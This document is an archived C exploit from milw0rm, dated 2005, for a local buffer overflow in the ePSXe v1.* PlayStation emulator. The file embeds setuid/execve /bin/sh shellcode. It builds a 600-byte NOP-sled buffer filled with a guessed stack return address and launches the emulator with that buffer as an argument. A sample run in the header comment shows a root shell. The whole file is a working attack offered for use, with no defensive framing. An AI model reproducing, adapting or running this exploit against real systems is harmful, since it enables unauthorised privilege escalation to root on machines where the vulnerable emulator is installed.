File size: 2,082 Bytes
497f2f3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | /* epsxe-e.c
ePSXe v1.* local exploit
By: Qnix
e-mail: q-nix[at]hotmail[dot]com
ePSXe-website: www.epsxe.com
EXP-Sample:
root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
root@Qnix:~/epsxe# ./epsxe-e
*************************************
ePSXe v1.* local exploit
by
Qnix | Q-nix[at]hotmail[dot]com
*************************************
[~] Stack pointer (ESP) : 0xbffff568
[~] Offset from ESP : 0x0
[~] Desired Return Addr : 0xbffff568
* Running ePSXe emulator version 1.6.0.
* Memory handlers init.
sh-2.05b# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*/
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("\n ************************************* \n");
printf(" ePSXe v1.* local exploit \n");
printf(" by \n");
printf(" Qnix | Q-nix[at]hotmail[dot]com ");
printf("\n ************************************* \n\n");
printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
printf("[~] Offset from ESP : 0x%x\n", offset);
printf("[~] Desired Return Addr : 0x%x\n\n", ret);
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./epsxe", "epsxe", "-nogui", buffer, 0);
free(buffer);
return 0;
}
// milw0rm.com [2005-06-04] |